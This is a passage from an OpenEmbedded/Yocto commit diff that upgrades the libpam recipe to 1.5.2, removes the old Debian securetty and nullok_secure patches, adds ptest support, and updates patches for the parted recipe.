pam_handle_t *pamh, -+ const char *uttyname); -+ -+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname) -+{ -+ int retval = PAM_AUTH_ERR; -+ char ttyfileline[256]; -+ char ptname[256]; -+ struct stat ttyfileinfo; -+ FILE *ttyfile; -+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */ -+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) -+ uttyname += sizeof(TTY_PREFIX)-1; -+ -+ if (stat(SECURETTY_FILE, &ttyfileinfo)) { -+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", -+ SECURETTY_FILE); -+ return PAM_SUCCESS; /* for compatibility with old securetty handling, -+ this needs to succeed. But we still log the -+ error. */ -+ } -+ -+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) { -+ /* If the file is world writable or is not a -+ normal file, return error */ -+ pam_syslog(pamh, LOG_ERR, -+ "%s is either world writable or not a normal file", -+ SECURETTY_FILE); -+ return PAM_AUTH_ERR; -+ } -+ -+ ttyfile = fopen(SECURETTY_FILE,"r"); -+ if(ttyfile == NULL) { /* Check that we opened it successfully */ -+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE); -+ return PAM_SERVICE_ERR; -+ } -+ -+ if (isdigit(uttyname[0])) { -+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname); -+ } else { -+ ptname[0] = '\0'; -+ } -+ -+ retval = 1; -+ -+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL) -+ && retval) { -+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n') -+ ttyfileline[strlen(ttyfileline) - 1] = '\0'; -+ retval = ( strcmp(ttyfileline,uttyname) -+ && (!ptname[0] || strcmp(ptname, uttyname)) ); -+ } -+ fclose(ttyfile); -+ -+ if(retval) { -+ retval = PAM_AUTH_ERR; -+ } -+ -+ return retval; -+} diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch deleted file mode 100644 index d2cc66882e..0000000000 --- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch +++ /dev/null @@ -1,195 +0,0 @@ -From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001 -From: "Maxin B. John" <maxin.john@intel.com> -Date: Wed, 25 May 2016 14:12:25 +0300 -Subject: [PATCH] pam_unix: support 'nullok_secure' option - -Debian patch to add a new 'nullok_secure' option to pam_unix, -which accepts users with null passwords only when the applicant is -connected from a tty listed in /etc/securetty. - -Authors: Sam Hartman <hartmans@debian.org>, - Steve Langasek <vorlon@debian.org> - -Upstream-Status: Pending - -Signed-off-by: Ming Liu <ming.liu@windriver.com> -Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com> -Signed-off-by: Maxin B. John <maxin.john@intel.com> ---- - modules/pam_unix/Makefile.am | 3 ++- - modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++- - modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++----- - modules/pam_unix/support.h | 8 ++++++-- - 4 files changed, 61 insertions(+), 9 deletions(-) - -diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am -index 56df178..2bba460 100644 ---- a/modules/pam_unix/Makefile.am -+++ b/modules/pam_unix/Makefile.am -@@ -30,7 +30,8 @@ if HAVE_VERSIONING - pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map - endif - pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \ -- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ -+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \ -+ ../pam_securetty/tty_secure.lo - - securelib_LTLIBRARIES = pam_unix.la - -diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml -index 1b318f1..be0330e 100644 ---- a/modules/pam_unix/pam_unix.8.xml -+++ b/modules/pam_unix/pam_unix.8.xml -@@ -159,7 +159,24 @@ - <para> - The default action of this module is to not permit the - user access to a service if their official password is blank. -- The <option>nullok</option> argument overrides this default. -+ The <option>nullok</option> argument overrides this default -+ and allows any user with a blank password to access the -+ service. -+ </para> -+ </listitem> -+ </varlistentry> -+ <varlistentry> -+ <term> -+ <option>nullok_secure</option> -+ </term> -+ <listitem> -+ <para> -+ The default action of this module is to not permit the -+ user access to a service if their official password is blank. -+ The <option>nullok_secure</option> argument overrides this -+ default and allows any user with a blank password to access -+ the service as long as the value of PAM_TTY is set to one of -+ the values found in /etc/securetty. - </para> - </listitem> - </varlistentry> -diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c -index fc8595e..29e3341 100644 ---- a/modules/pam_unix/support.c -+++ b/modules/pam_unix/support.c -@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds, - /* now parse the arguments to this module */ - - for (; argc-- > 0; ++argv) { -+ int sl; - - D(("pam_unix arg: %s", *argv)); - - for (j = 0; j < UNIX_CTRLS_; ++j) { -- if (unix_args[j].token -- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) { -- break; -+ if (unix_args[j].token) { -+ sl = strlen(unix_args[j].token); -+ if (unix_args[j].token[sl-1] == '=') { -+ /* exclude argument from comparison */ -+ if (!strncmp(*argv, unix_args[j].token, sl)) -+ break; -+ } else { -+ /* compare full strings */ -+ if (!strcmp(*argv, unix_args[j].token)) -+ break; -+ } - } - } - -@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd, - if (child == 0) { - static char *envp[] = { NULL }; - const char *args[] = { NULL, NULL, NULL, NULL }; -+ int nullok = off(UNIX__NONULL, ctrl); - - /* XXX - should really tidy up PAM here too */ - -@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd, - /* exec binary helper */ - args[0] = CHKPWD_HELPER; - args[1] = user; -- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */ -+ if (on(UNIX_NULLOK_SECURE, ctrl)) { -+ const void *uttyname; -+ retval = pam_get_item(pamh, PAM_TTY, &uttyname); -+ if (retval != PAM_SUCCESS || uttyname == NULL -+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) { -+ nullok = 0; -+ } -+ } -+ -+ if (nullok) { - args[2]="nullok"; - } else { - args[2]="nonull"; -@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name) - if (on(UNIX__NONULL, ctrl)) - return 0; /* will fail but don't let on yet */ - -+ if (on(UNIX_NULLOK_SECURE, ctrl)) { -+ int retval2; -+ const void *uttyname; -+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname); -+ if (retval2 != PAM_SUCCESS || uttyname == NULL) -+ return 0; -+ -+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) -+ return 0; -+ } -+ - /* UNIX passwords area */ - - retval = get_pwd_hash(pamh, name, &pwd, &salt); -@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name - } - } - } else { -- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl)); -+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name)); - } - - if (retval == PAM_SUCCESS) { -diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h -index b4c279c..8da4a8e 100644 ---- a/modules/pam_unix/support.h -+++ b/modules/pam_unix/support.h -@@ -98,8 +98,9 @@ typedef struct { - #define UNIX_QUIET 28 /* Don't print informational messages */ - #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */ - #define UNIX_DES 30 /* DES, default */ -+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */ - /* -------------- */ --#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */ -+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */ - - #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl)) - -@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] = - /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0}, - /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0}, - /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0}, --/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0}, -+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0}, - /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0}, - /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0}, - /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0}, -@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] = - /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0}, - /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0}, - /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1}, -+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0}, - }; - - #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag) -@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh - ,const char *data_name - ,const void **pass); - -+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname); -+ - extern int _unix_run_verify_binary(pam_handle_t *pamh, - unsigned int ctrl, const char *user, int *daysleft); - #endif /* _PAM_UNIX_SUPPORT_H */ --- -2.4.0 - diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf new file mode 100644 index 0000000000..d8b8259a93 --- /dev/null +++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf @@ -0,0 +1 @@ +d /var/run/sepermit 0755 root root - - diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest new file mode 100644 index 0000000000..9c304aee47 --- /dev/null +++ b/meta/recipes-extended/pam/libpam/run-ptest @@ -0,0 +1,32 @@ +#! /bin/sh + +cd tests + +export srcdir=. + +failed=0 +all=0 +for f in tst-*; do + "./$f" > /dev/null 2>&1 + case "$?" in + 0) + echo "PASS: $f" + all=$((all + 1)) + ;; + 77) + echo "SKIP: $f" + ;; + *) + echo "FAIL: $f" + failed=$((failed + 1)) + all=$((all + 1)) + ;; + esac +done + +if [ "$failed" -eq 0 ] ; then + echo "All $all tests passed" +else + echo "$failed of $all tests failed" +fi +unset srcdir diff --git a/meta/recipes-extended/pam/libpam_1.3.1.bb b/meta/recipes-extended/pam/libpam_1.5.2.bb index bc72afe6ad..081986ef43 100644 --- a/meta/recipes-extended/pam/libpam_1.3.1.bb +++ b/meta/recipes-extended/pam/libpam_1.5.2.bb @@ -6,8 +6,8 @@ BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket" SECTION = "base" # PAM is dual licensed under GPL and BSD. # /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time -# libpam-runtime-1.0.1 is GPLv2+), by openembedded -LICENSE = "GPLv2+ | BSD" +# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded +LICENSE = "GPL-2.0-or-later | BSD-3-Clause" LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \ file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \ " @@ -21,41 +21,38 @@ SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux file://pam.d/common-session-noninteractive \ file://pam.d/other \ file://libpam-xtests.patch \ - file://pam-security-abstract-securetty-handling.patch \ - file://pam-unix-nullok-secure.patch \ - file://crypt_configure.patch \ - " + file://0001-run-xtests.sh-check-whether-files-exist.patch \ + file://run-ptest \ + file://pam-volatiles.conf \ + " -SRC_URI[md5sum] = "558ff53b0fc0563ca97f79e911822165" -SRC_URI[sha256sum] = "eff47a4ecd833fbf18de9686632a70ee8d0794b79aecb217ebd0ce11db4cd0db" - -SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \ - file://include_paths_header.patch \ - " +SRC_URI[sha256sum] = "e4ec7131a91da44512574268f493c6d8ca105c87091691b8e9b56ca685d4f94d" DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt" EXTRA_OECONF = "--includedir=${includedir}/security \ --libdir=${base_libdir} \ + --with-systemdunitdir=${systemd_system_unitdir} \ --disable-nis \ --disable-regenerate-docu \ + --disable-doc \ --disable-prelude" -CFLAGS_append = " -fPIC " +CFLAGS:append = " -fPIC " S = "${WORKDIR}/Linux-PAM-${PV}" -inherit autotools gettext pkgconfig +inherit autotools gettext pkgconfig systemd ptest PACKAGECONFIG ??= "" PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit," PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db," PACKAGES += "${PN}-runtime ${PN}-xtests" -FILES_${PN} = "${base_libdir}/lib*${SOLIBS}" -FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}" -FILES_${PN}-runtime = "${sysconfdir}" -FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests" +FILES:${PN} = "${base_libdir}/lib*${SOLIBS}" +FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}" +FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}" +FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests" PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*" @@ -65,53 +62,45 @@ def get_multilib_bit(d): libpam_suffix = "suffix${@get_multilib_bit(d)}" -RPROVIDES_${PN} += "${PN}-${libpam_suffix}" -RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}" +RPROVIDES:${PN} += "${PN}-${libpam_suffix}" +RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}" -RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \ +RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \ ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \ ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \ ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \ ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \ " -RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \ +RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \ ${MLPREFIX}pam-plugin-access-${libpam_suffix} \ ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \ - ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \ ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \ ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \ ${MLPREFIX}pam-plugin-time-${libpam_suffix} \ - coreutils" + bash coreutils" # FIXME: Native suffix breaks here, disable it for now -RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}" -RRECOMMENDS_${PN}_class-native = "" - -python populate_packages_prepend () { - def pam_plugin_append_file(pn, dir, file): - nf = os.path.join(dir, file) - of = d.getVar('FILES_' + pn) - if of: - nf = of + " " + nf - d.setVar('FILES_' + pn, nf) +RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}" +RRECOMMENDS:${PN}:class-native = "" +python populate_packages:prepend () { def pam_plugin_hook(file, pkg, pattern, format, basename): pn = d.getVar('PN') libpam_suffix = d.getVar('libpam_suffix') - rdeps = d.getVar('RDEPENDS_' + pkg) + rdeps = d.getVar('RDEPENDS:' + pkg) if rdeps: rdeps = rdeps + " " + pn + "-" + libpam_suffix else: rdeps = pn + "-" + libpam_suffix - d.setVar('RDEPENDS_' + pkg, rdeps) + d.setVar('RDEPENDS:' + pkg, rdeps) - provides = d.getVar('RPROVIDES_' + pkg) + provides = d.getVar('RPROVIDES:' + pkg) if provides: provides = provides + " " + pkg + "-" + libpam_suffix else: provides = pkg + "-" + libpam_suffix - d.setVar('RPROVIDES_' + pkg, provides) + d.setVar('RPROVIDES:' + pkg, provides) mlprefix = d.getVar('MLPREFIX') or '' dvar = d.expand('${WORKDIR}/package') @@ -122,23 +111,33 @@ python populate_packages_prepend () { do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname, 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='') - pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd') - pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update') - pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally') - pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2') - pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check') - pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper') - pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply') do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='') } +do_compile_ptest() { + cd tests + sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile + oe_runmake check-am + cd - +} + do_install() { autotools_do_install # don't install /var/run when populating rootfs. Do it through volatile rm -rf ${D}${localstatedir} - install -d ${D}${sysconfdir}/default/volatiles - install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles + + if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then + rm -rf ${D}${sysconfdir}/init.d/ + rm -rf ${D}${sysconfdir}/rc* + install -d ${D}${sysconfdir}/tmpfiles.d + install -m 0644 ${WORKDIR}/pam-volatiles.conf \ + ${D}${sysconfdir}/tmpfiles.d/pam.conf + else + install -d ${D}${sysconfdir}/default/volatiles + install -m 0644 ${WORKDIR}/99_pam \ + ${D}${sysconfdir}/default/volatiles/ + fi install -d ${D}${sysconfdir}/pam.d/ install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/ @@ -149,6 +148,24 @@ do_install() { if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session fi + if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then + install -d ${D}/${libdir}/ + mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/ + fi +} + +do_install_ptest() { + if [ ${PTEST_ENABLED} = "1" ]; then + mkdir -p ${D}${PTEST_PATH}/tests + install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests + install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests + fi +} + +pkg_postinst:${PN}() { + if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then + /etc/init.d/populate-volatile.sh update + fi } inherit features_check @@ -156,12 +173,12 @@ REQUIRED_DISTRO_FEATURES = "pam" BBCLASSEXTEND = "nativesdk native" -CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session" -CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth" -CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password" -CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive" -CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account" -CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf" +CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session" +CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth" +CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password" +CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive" +CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account" +CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf" UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases" diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch deleted file mode 100644 index 829c0c8b78..0000000000 --- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch +++ /dev/null @@ -1,33 +0,0 @@ -From ddbefd80d74c3baaae328332458db447e1666240 Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Thu, 27 Apr 2017 16:37:24 +0300 -Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3 - -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> - ---- - tests/gpt-header-move | 2 +- - tests/msdos-overlap | 2 +- - 2 files changed, 2 insertions(+), 2 deletions(-) - -diff --git a/tests/gpt-header-move b/tests/gpt-header-move -index 3dda5cb..a2b9508 100755 ---- a/tests/gpt-header-move -+++ b/tests/gpt-header-move -@@ -1,4 +1,4 @@ --#!/usr/bin/python -+#!/usr/bin/env python3 - - # open img file, subtract 33 from altlba address, and move the last 33 sectors - # back by 33 sectors -diff --git a/tests/msdos-overlap b/tests/msdos-overlap -index d6ae8d6..2c6747b 100755 ---- a/tests/msdos-overlap -+++ b/tests/msdos-overlap -@@ -1,4 +1,4 @@ --#!/usr/bin/python -+#!/usr/bin/env python3 - """ - Write an overlapping partition to a msdos disk - diff --git a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch b/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch deleted file mode 100644 index 4dc2ab259d..0000000000 --- a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch +++ /dev/null @@ -1,26 +0,0 @@ -From d60a8a86f6593738b5324ccd8fe3e6d84a1fe7bc Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Wed, 11 Dec 2019 14:18:36 +0100 -Subject: [PATCH] libparted/fs: add $sourcedir/lib to include paths - -Otherwise, getopt-pfx-core.h won't be found. - -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - libparted/fs/Makefile.am | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am -index 286bff6..65f45d3 100644 ---- a/libparted/fs/Makefile.am -+++ b/libparted/fs/Makefile.am -@@ -3,7 +3,7 @@ - # - # This file may be modified and/or distributed without restriction. - --partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include -+partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include -I$(top_srcdir)/lib - - AM_CFLAGS = $(WARN_CFLAGS) - diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch deleted file mode 100644 index bd2b5c55b1..0000000000 --- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch +++ /dev/null @@ -1,34 +0,0 @@ -From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com> -Date: Fri, 3 Mar 2017 21:49:15 +0100 -Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to - unbreak gold linking on test -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate' - -Upstream-Status: Pending - -Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com> ---- - libparted/fs/Makefile.am | 2 ++ - 1 file changed, 2 insertions(+) - -diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am -index d3cc8bc..c301b0b 100644 ---- a/libparted/fs/Makefile.am -+++ b/libparted/fs/Makefile.am -@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \ - r/hfs/reloc_plus.c \ - r/hfs/reloc_plus.h - -+libparted_fs_resize_la_LIBADD = $(UUID_LIBS) -+ - AM_CPPFLAGS = \ - -I$(top_srcdir)/libparted/labels \ - $(partedincludedir) \ --- -2.9.3 - diff --git a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch b/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch deleted file mode 100644 index 9524adf7b8..0000000000 --- a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch +++ /dev/null @@ -1,66 +0,0 @@ -From 9f844484cedb39e301b016e9da7852c1a0fb6eea Mon Sep 17 00:00:00 2001 -From: Alexander Kanavin <alex.kanavin@gmail.com> -Date: Wed, 11 Dec 2019 16:27:48 +0100 -Subject: [PATCH] tests: use skip_ rather than skip_test_ (which is undefined) - -Upstream-Status: Pending -Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> ---- - tests/t6001-psep.sh | 2 +- - tests/t6004-dm-many-partitions.sh | 2 +- - tests/t6005-dm-uuid.sh | 2 +- - tests/t6006-dm-512b-sectors.sh | 2 +- - 4 files changed, 4 insertions(+), 4 deletions(-) - -diff --git a/tests/t6001-psep.sh b/tests/t6001-psep.sh -index e350bd2..67014a0 100644 ---- a/tests/t6001-psep.sh -+++ b/tests/t6001-psep.sh -@@ -21,7 +21,7 @@ - require_root_ - require_udevadm_settle_ - --(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed" -+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed" - - # Device maps names - should be random to not conflict with existing ones on - # the system -diff --git a/tests/t6004-dm-many-partitions.sh b/tests/t6004-dm-many-partitions.sh -index b4be975..7214f60 100755 ---- a/tests/t6004-dm-many-partitions.sh -+++ b/tests/t6004-dm-many-partitions.sh -@@ -21,7 +21,7 @@ - - require_root_ - require_udevadm_settle_ --(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed" -+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed" - - ss=$sector_size_ - ns=300 -diff --git a/tests/t6005-dm-uuid.sh b/tests/t6005-dm-uuid.sh -index 4266747..4790a8b 100755 ---- a/tests/t6005-dm-uuid.sh -+++ b/tests/t6005-dm-uuid.sh -@@ -21,7 +21,7 @@ - - require_root_ - require_udevadm_settle_ --(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed" -+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed" - - ss=$sector_size_ - ns=300 -diff --git a/tests/t6006-dm-512b-sectors.sh b/tests/t6006-dm-512b-sectors.sh -index bf32135..b679adb 100644 ---- a/tests/t6006-dm-512b-sectors.sh -+++ b/tests/t6006-dm-512b-sectors.sh -@@ -25,7 +25,7 @@ require_scsi_debug_module_ - grep '^#define USE_BLKID 1' "$CONFIG_HEADER" > /dev/null || - skip_ 'this system lacks a new-enough libblkid' - --(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed" -+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed" - - # Device maps names - should be random to not conflict with existing ones on - # the system diff --git a/meta/recipes-extended/parted/files/check-vfat.patch b/meta/recipes-extended/parted/files/check-vfat.patch new file mode 100644 index 0000000000..fad50292d9 --- /dev/null +++ b/meta/recipes-extended/parted/files/check-vfat.patch @@ -0,0 +1,51 @@ +Add checks for both mkfs.vfat and the vfat file system in the kernel before +running tests. + +Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2021-August/005653.html] +Signed-off-by: Ross Burton <ross.burton@arm.com> + +diff --git a/tests/t-lib-helpers.sh b/tests/t-lib-helpers.sh +index 4c6c75f..2cc7577 100644 +--- a/tests/t-lib-helpers.sh ++++ b/tests/t-lib-helpers.sh +@@ -418,3 +418,13 @@ require_64bit_() + ;; + esac + } ++ ++# Check if the specified filesystem is either built into the kernel, or can be loaded ++# as a module ++# Usage: has_filesystem vfat ++# Ruturns 0 if the filesystem is available, otherwise skips the test ++require_filesystem_() ++{ ++ grep -q $1 /proc/filesystems && return 0 ++ modprobe --quiet --dry-run $1 || skip_ "this test requires kernel support for $1" ++} +diff --git a/tests/t1100-busy-label.sh b/tests/t1100-busy-label.sh +index f1a13df..0f47b08 100755 +--- a/tests/t1100-busy-label.sh ++++ b/tests/t1100-busy-label.sh +@@ -19,6 +19,9 @@ + . "${srcdir=.}/init.sh"; path_prepend_ ../parted + require_root_ + require_scsi_debug_module_ ++require_fat_ ++require_filesystem_ vfat ++ + ss=$sector_size_ + + scsi_debug_setup_ sector_size=$ss dev_size_mb=90 > dev-name || +diff --git a/tests/t1101-busy-partition.sh b/tests/t1101-busy-partition.sh +index 